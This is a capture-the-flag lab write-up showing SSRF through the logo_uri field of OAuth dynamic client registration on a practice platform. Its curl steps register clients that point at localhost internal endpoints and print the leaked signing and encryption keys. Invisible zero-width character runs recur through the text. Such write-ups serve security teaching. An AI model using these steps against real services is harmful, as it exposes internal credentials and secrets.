← Back to Writeups
CUSTOMEasyWeb

Lab 273 — AuthForge — SSRF via OAuth Dynamic Client Registration

XESXOR9/2/20264 min read
#web#custom#easy#internal_metadata_service_acce#localhost_ssrf#oauth_dynamic_client_registrat#ssrf_via_logo_uri

Lab 273 — AuthForge — SSRF via OAuth Dynamic Client Registration

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: internal_metadata_service_access, localhost_ssrf, oauth_dynamic_client_registration_abuse, ssrf_via_logo_uri

Summary

Walkthrough of the CUSTOM Web Lab 273 — AuthForge — SSRF via OAuth Dynamic Client Registration. Task: OAuth 2.0 identity platform with Dynamic Client Registration (RFC 7591) where logo_uri is fetched server-side without SSRF protections. Solution: Registered OAuth client with logo_uri pointing t

Description

AuthForge is a modern identity-as-a-service platform built by ForgeWave Technologies. It provides OAuth 2.0 / OpenID Connect provider capabilities, API key management, and a developer portal for registering and managing OAuth client applications. The platform features dynamic client registration (RFC 7591), an interactive API documentation page, and a client management dashboard where developers can create, view, and manage their OAuth applications. As a security researcher, your task is to explore the platform and find a way to access internal services that should not be reachable from outside. Look for features that accept URLs and think about what the server does with them behind the scenes. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An OAuth 2.0 / OpenID Connect identity platform with Dynamic Client Registration (RFC 7591). The goal is to exploit server-side URL fetching in the logo_uri parameter to perform SSRF and access internal services.

Credentials: user@test.com / password123 Target: https://64fa3449-af31-4ad7-9836-23cc012ec887.labs.hackadvisor.io/

Analysis

Platform Reconnaissance

The platform is an Express.js application (X-Powered-By: Express) behind nginx/1.25.5. After logging in with the provided credentials, the dashboard shows:

  • Existing OAuth clients list
  • Navigation: Dashboard, OAuth Clients, API Docs, Settings ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

API Documentation Discovery

The API Docs page (/docs) documents the Dynamic Client Registration endpoint (POST /oauth/register) per RFC 7591. The critical finding is in the parameter description:

  • logo_uri — "URL to the client's logo. Fetched by the server when rendering the authorization page."

This means the server performs a server-side HTTP request to whatever URL is provided in logo_uri. The registration response includes a logo_endpoint field like /oauth/clients/<uuid>/logo which triggers the actual fetch. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

SSRF Vector

The logo_uri field accepts arbitrary URLs including http://localhost:* and internal hostnames. There are no SSRF protections:

  • No blocklist for localhost or 127.0.0.1
  • No blocklist for private IP ranges (10.x, 172.16.x, 192.168.x)
  • No blocklist for internal hostnames
  • No URL scheme restrictions beyond http/https

Solution

Step 1: Authenticate and obtain API token

Login via the web form and obtain a session cookie, then generate a Bearer token for API access:

bash
URL="https://64fa3449-af31-4ad7-9836-23cc012ec887.labs.hackadvisor.io"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Login and capture session cookie
COOKIE=$(curl -s -c - -X POST "$URL/login" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=user@test.com&password=password123" | grep connect.sid | awk '{print $NF}')

# Generate Bearer token
TOKEN=$(curl -s -b "connect.sid=$COOKIE" -X POST "$URL/api/tokens" | jq -r '.token')

Step 2: Register OAuth client with SSRF payload in logo_uri

Register a new OAuth client with logo_uri pointing to localhost:3001 to probe for internal services: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -s -X POST "$URL/oauth/register" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "client_name": "SSRF Test",
    "redirect_uris": ["https://example.com/callback"],
    "logo_uri": "http://localhost:3001/"
  }'

The response includes a logo_endpoint field: /oauth/clients/<uuid>/logo

Step 3: Trigger SSRF and discover internal service

Access the logo endpoint to trigger the server-side fetch:

bash
curl -s -b "connect.sid=$COOKIE" "$URL/oauth/clients/<uuid>/logo"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response from the internal metadata service at localhost:3001:

json
{
  "error": "Not found",
  "available_endpoints": [
    "/healthcheck",
    "/api/internal/services",
    "/api/internal/credentials",
    "/api/internal/config",
    "/api/internal/secret"
  ],
  "hint": "This is an internal metadata service. See /api/internal/services for available endpoints."
}

Step 4: Exfiltrate internal secrets

Register another client targeting the secret endpoint:

bash
curl -s -X POST "$URL/oauth/register" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "client_name": "SSRF Secret",
    "redirect_uris": ["https://example.com/callback"],
    "logo_uri": "http://localhost:3001/api/internal/secret"
  }'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Fetch the logo endpoint for the new client:

bash
curl -s -b "connect.sid=$COOKIE" "$URL/oauth/clients/<new-uuid>/logo"

Response containing the flag:

json
{
  "jwt_signing_key": "HS256:authforge-prod-signing-key-DO-NOT-SHARE",
  "master_encryption_key": "aes256:9f86d081884c7d659a2feaa0c55ad015",
  "flag": "FLAG{REDACTED}"
}

Additional data exfiltrated via other endpoints

  • /api/internal/credentials — Database credentials (PostgreSQL on port 5432, user authforge_svc), Redis (port 6379), and SMTP credentials
  • /api/internal/services — Internal hostname internal-metadata.authforge.local, environment production ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering internal_metadata_service_access, localhost_ssrf, oauth_dynamic_client_registration_abuse, ssrf_via_logo_uri was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-05 • CUSTOM • Lab 273 — AuthForge — SSRF via OAuth Dynamic Client Registration • Difficulty: Easy